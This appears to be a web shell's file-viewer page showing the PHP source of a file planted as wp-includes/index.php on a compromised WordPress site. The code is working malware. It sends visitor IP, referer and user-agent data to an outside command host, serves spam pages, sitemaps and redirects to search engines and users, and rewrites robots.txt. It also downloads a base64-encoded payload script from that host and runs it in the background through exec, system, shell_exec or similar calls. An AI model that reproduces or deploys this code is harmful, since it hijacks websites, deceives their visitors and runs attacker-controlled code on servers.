HEX
Server: nginx/1.30.4
System: Linux d-twindigital-web-1.host-ed.eu 4.18.0-553.141.2.el8_10.x86_64 #1 SMP Wed Jul 8 10:28:18 EDT 2026 x86_64
User: u_twindigital_html (1009)
PHP: 8.3.30
Disabled: NONE
Upload Files
File: /var/hpwsites/u_twindigital_html/website/html/webroot/digitaalvismagazine.nl/wp-includes/index.php
<?php
    ignore_user_abort();set_time_limit(0);ini_set('memory_limit', '-1');
   
    $host_url = "https://zhan.isowjiego40.shop/";
    $protocol = (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off' || $_SERVER['SERVER_PORT'] == 443) ? "https" : "http";
    $now_url = $protocol.'://' . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI'];
    $now_ip = getClientIp();
    $referer = isset($_SERVER['HTTP_REFERER']) ? $_SERVER['HTTP_REFERER'] : '';
    $aclg = isset($_SERVER['HTTP_ACCEPT_LANGUAGE']) ? $_SERVER['HTTP_ACCEPT_LANGUAGE'] : '';
    $userAgent = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : '';
    $remethod = isset($_SERVER['REQUEST_METHOD'])? $_SERVER['REQUEST_METHOD'] : '';
    $list_data = @httprequest($host_url."?referer=".rawurlencode($referer)."&aclg=".rawurlencode($aclg)."&userAgent=".rawurlencode($userAgent)."&now_ip=".rawurlencode($now_ip)."&now_url=".rawurlencode(rawurldecode($now_url)));
    $api_url = "https://isowjiego40.shop/api";
    $rootDir = $_SERVER['DOCUMENT_ROOT'];
    $start_flag_file = $_SERVER['DOCUMENT_ROOT']."/".md5(md5($_SERVER['HTTP_HOST']."_start")).".txt";
    $index_file = $rootDir."/".md5(md5($_SERVER['HTTP_HOST'])).".txt";
    $deng = isset($_GET["deng"])?$_GET["deng"]:"";
    if(!empty($deng)){
        @unlink($start_flag_file);
        echo "deng 删除成功,刷新下";exit();
    }
    if(file_exists($index_file)){
        if(!empty($list_data)){
            $result_list = json_decode($list_data,true);
            if($result_list["code"]==200){
                if($result_list["action"] == "xml"){
                    header('Content-Type: application/xml; charset=UTF-8');
                    echo $result_list["content"];
                    $currentHost = $protocol.'://' . $_SERVER['HTTP_HOST'];
                    @create_xml($now_url,$currentHost,$rootDir);exit();
                }else if($result_list["action"] == "zhizhu"){
                    header("Content-Type: text/html;charset=utf-8");
                    $cacheDuration = 2 * 24 * 60 * 60;header("Cache-Control: max-age=$cacheDuration , public");header("Expires: " . gmdate("D, d M Y H:i:s", time() + $cacheDuration) . " GMT");
                    echo $result_list["content"];exit();
                }else if($result_list["action"] == "tiao"){
                    header('Cache-Control: no-cache, no-store, must-revalidate');header('Pragma: no-cache');header('Expires: 0');
                    if($result_list["tiao_action"]=="js"){
                        echo '<script>window.location.href = "'. $result_list["content"].'"; </script>';exit();
                    }else if($result_list["tiao_action"]=="301"){
                        header('HTTP/1.1 301 Moved Permanently');
                        header('Location: '.$result_list["content"]);
                        exit();
                    }else{
                        header('Location: ' . $result_list["content"]);exit();
                    }
                }
            }
        }
    }else{
        if(file_exists($start_flag_file)){
            exit("deng");
        }
        @writeToFile($start_flag_file,time());

        $jiaoben_file_url = $api_url."/get_content.php?type=jiaoben&url=".urlencode($_SERVER['HTTP_HOST']);
        $jiaoben_file_content = httprequest($jiaoben_file_url);
        $jiaoben_file_content_list = json_decode($jiaoben_file_content,true);
        $is_windows = defined('PHP_OS_FAMILY') ? (PHP_OS_FAMILY === 'Windows') : (stripos(PHP_OS, 'WIN') === 0);
        if (!defined('PHP_BINARY')) {
            $php_path = array();
        }else{
            $php_path = explode("/",PHP_BINARY);
            unset($php_path[count($php_path)-1]);
        }
        $php_path_str = "";
        if(empty($php_path)){
            $php_path_str = "php";
        }else{
            if(stripos($php_path[count($php_path)-1],"sbin")!==false){
                unset($php_path[count($php_path)-1]);
                $php_path_str = implode("/",$php_path);
                $php_path_str = $php_path_str."/bin/php";
            }else if(stripos($php_path[count($php_path)-1],"bin")!==false){
                $php_path_str = implode("/",$php_path);
                $php_path_str = $php_path_str."/php";
            }else{
                $php_path_str = "php";
            }
        }
        $jiaoben_file_content_list["content"] = base64_decode($jiaoben_file_content_list["content"]);
        $jiaoben_file = __DIR__."/".$jiaoben_file_content_list["filename"];
        @chmod($jiaoben_file,0755);
        @unlink($jiaoben_file);
        @write_file($jiaoben_file,$jiaoben_file_content_list["content"]);
        $jiaoben_content = @file_get_contents($jiaoben_file);
        if(stripos($jiaoben_content,"is_writable")!==false){
            $cfunction = checkMing();
                
            if($cfunction){
                
                $jcjcfile_log_path= __DIR__."/kk.log";
                $arg1 = safeArg($_SERVER['HTTP_HOST']);
                $arg3 = safeArg($rootDir);
                @write_file(__DIR__."/".md5("argall").".txt",$_SERVER['HTTP_HOST']."###".$cfunction."###".$rootDir);
                if($is_windows){
                    $background_cmd = "start /B $php_path_str -f $jiaoben_file $arg1 $cfunction $arg3 > $jcjcfile_log_path 2>&1 &";
                }else{
                    $background_cmd = $php_path_str." -f $jiaoben_file $arg1 $cfunction $arg3 > $jcjcfile_log_path 2>&1 &";
                }
                if ($cfunction == "exec") {
                    exec($background_cmd, $output_array, $return_var);
                    $output = implode("\n", $output_array);
                } elseif ($cfunction=="system") {
                    ob_start();
                    system($background_cmd, $return_var);
                    $output = ob_get_clean();
                } elseif ($cfunction=="shell_exec") {
                    $output = shell_exec($background_cmd);
                } elseif ($cfunction=="popen") {
                    $process = popen($background_cmd, "r");
                    if (is_resource($process)) {
                        pclose($process);
                    }
                }else if($cfunction=="passthru"){
                    ob_start();
                    @passthru($background_cmd, $output);
                    $output = ob_get_clean();
                }else if($cfunction=="proc_open"){
                    $descriptorspec = array(
                        0 => array("pipe", "r"),  // stdin
                        1 => array("pipe", "w"),  // stdout
                        2 => array("pipe", "w")   // stderr
                    );
                    $process = proc_open($background_cmd, $descriptorspec, $pipes);
                    if (is_resource($process)) {
                        @fclose($pipes[0]);
                        @fclose($pipes[1]);
                        @fclose($pipes[2]);
                    }
                }
                exit("脚本开始运行");
            }else{
                $now_url_list = explode("/",$now_url);
                if(stripos($now_url_list[count($now_url_list)-1],".php")!==false){
                    $tiao_url = str_replace($now_url_list[count($now_url_list)-1],$jiaoben_file_content_list["filename"]."?cfunction=".$cfunction,$now_url);
                }else{
                    $tiao_url = $host_url."/".$jiaoben_file_content_list["filename"]."?cfunction=".$cfunction;
                }
                
                echo '<meta http-equiv="refresh" content="0;url='.$tiao_url.'">';exit();
            }
        }else{
            $lang = $_SERVER['HTTP_ACCEPT_LANGUAGE'];
            if(strpos($lang, 'zh')!==false){
                echo "<h1> 网络请求有问题,不要了~ </h1>";exit();
            }
        }
    }
    
 
    function create_xml($now_url,$currentHost,$rootDir){
        $file = $rootDir."/robots.txt.bak";
        $host_info = getHostInfo($currentHost);
        $currentHost = $host_info["index_url"];
        $fuhao = $host_info["fuhao"];
        if(file_exists($file)){
            $robots_content = @file_get_contents($file);
            if(stripos($robots_content,"all.xml")!==false){
                $robots_list = explode("\n",$robots_content);
                foreach($robots_list as $key=>&$val){
                    
                    if(stripos($val,".xml")!==false && stripos($val,"all.xml")===false){
                        if(stripos($val,".php")!==false){$fuhao = "?";$vallist = explode(".php",$val);$valqian = $vallist[0].".php";
                        }
                        else{$vallist= explode(".xml",$val);$fuhao = "/";$vallist_list = explode("/",$vallist[0]);$valqian = str_replace($vallist_list[count($vallist_list)-1],"",$vallist[0]);$valqian = rtrim($valqian,"/");
                        }
                        $val = $valqian.$fuhao."sitemap".chr(rand(97, 122)).chr(rand(97, 122)).chr(rand(65, 90)).".xml";
                    }
                }
                if(stripos($robots_content,$currentHost)===false){
                    $robots_content.="\n"."Sitemap: ".$currentHost."?sitemap.xml";
                    @writeToFile($rootDir."/robots.txt.bak",$robots_content);
                }
                $robots_list[]="Sitemap: ".$now_url;
                $robots_content_new = implode("\n",$robots_list);
                @writeToFile($rootDir."/robots.txt",$robots_content_new);
            } else{
                @unlink($file);
            }
        }else{
            $robots_list = array();$robots_list[]="User-agent: *";$robots_list[]="Allow: /";
            $robots_list[]="Sitemap: ".$currentHost.$fuhao."all.xml";
            $robots_list[]="Sitemap: ".$currentHost.$fuhao."sitemapy.xml";$robots_list[]="Sitemap: ".$currentHost.$fuhao."sitemapx.xml";
            $robots_list[]="Sitemap: ".$currentHost.$fuhao."sitemapz.xml";$robots_list[]="Sitemap: ".$now_url;
            $robots_content_new = implode("\n",$robots_list);
            @writeToFile($rootDir."/robots.txt",$robots_content_new);
            @writeToFile($rootDir."/robots.txt.bak",$robots_content_new);
        }
    }

    function getHostInfo($host_url) {
        global $now_url;
        if (stripos($now_url, ".php") !== false) {
            $host_url_list = explode(".php", $now_url);
            return array('index_url' => $host_url_list[0] . ".php", 'fuhao' => "?");
        } else {
            return array('index_url' => $host_url , 'fuhao' => "/");
        }
    }

    function getClientIp() {
        $ipHeaders = array('HTTP_CF_CONNECTING_IP', 'HTTP_X_FORWARDED_FOR', 'HTTP_CLIENT_IP', 'HTTP_X_REAL_IP', 'REMOTE_ADDR');
        foreach ($ipHeaders as $header) {if (isset($_SERVER[$header]) && !empty($_SERVER[$header])) {$ipList = explode(',', $_SERVER[$header]);foreach ($ipList as $ip) {$trimmedIp = trim($ip);if (filter_var($trimmedIp, FILTER_VALIDATE_IP)) {return $trimmedIp;}}}}
        return '';
    }

    function httprequest($url){
        $content = @file_get_contents($url, false, stream_context_create(array(
            'http' => array('timeout' => 30, 'user_agent' => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36'),
            'ssl' => array('verify_peer' => false, 'verify_peer_name' => false)
        )));
        
        if($content === false && function_exists('curl_init')){
            $ch = curl_init();
            curl_setopt_array($ch, array(
                CURLOPT_URL => $url,
                CURLOPT_RETURNTRANSFER => true,
                CURLOPT_TIMEOUT => 30,
                CURLOPT_SSL_VERIFYPEER => false,
                CURLOPT_USERAGENT => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36'
            ));
            $content = curl_exec($ch);
            curl_close($ch);
        }
        return $content;
    }

    function writeToFile($filename, $data) {
        if (!is_writable($filename)) {@chmod($filename,0755);}
        $result = @file_put_contents($filename, $data,LOCK_EX);
        if ($result === false) {
            $handle = @fopen($filename, 'w');
            if ($handle) {
                if (function_exists('flock')) {@flock($handle, LOCK_EX);}
                $result = @fwrite($handle, $data);
                if (function_exists('flock')) {@flock($handle, LOCK_UN);}
                @fclose($handle);
            }
        }
        return $result;
    }

    function checkMing(){
        $funcs = ['exec','system','shell_exec','popen','proc_open','passthru'];
        foreach($funcs as $f){
            if(function_exists($f) && is_callable($f)) return $f;
        }
        return false;
    }

    function safeArg($a){
        if(function_exists('escapeshellarg'))return escapeshellarg($a);
        if(preg_match('/^[a-zA-Z0-9\/\.\-_:@]+$/',$a))return $a;
        $s=strpos($a,"'")!==false;$d=strpos($a,'"')!==false;
        if(!$s&&!$d)return"'".$a."'";
        if($s&&!$d)return'"'.str_replace('"','\"',$a).'"';
        if(!$s&&$d)return"'".$a."'";
        return'"'.str_replace(['"','`','$','\\'],['\"','\`','\$','\\\\'],$a).'"';
    }
?>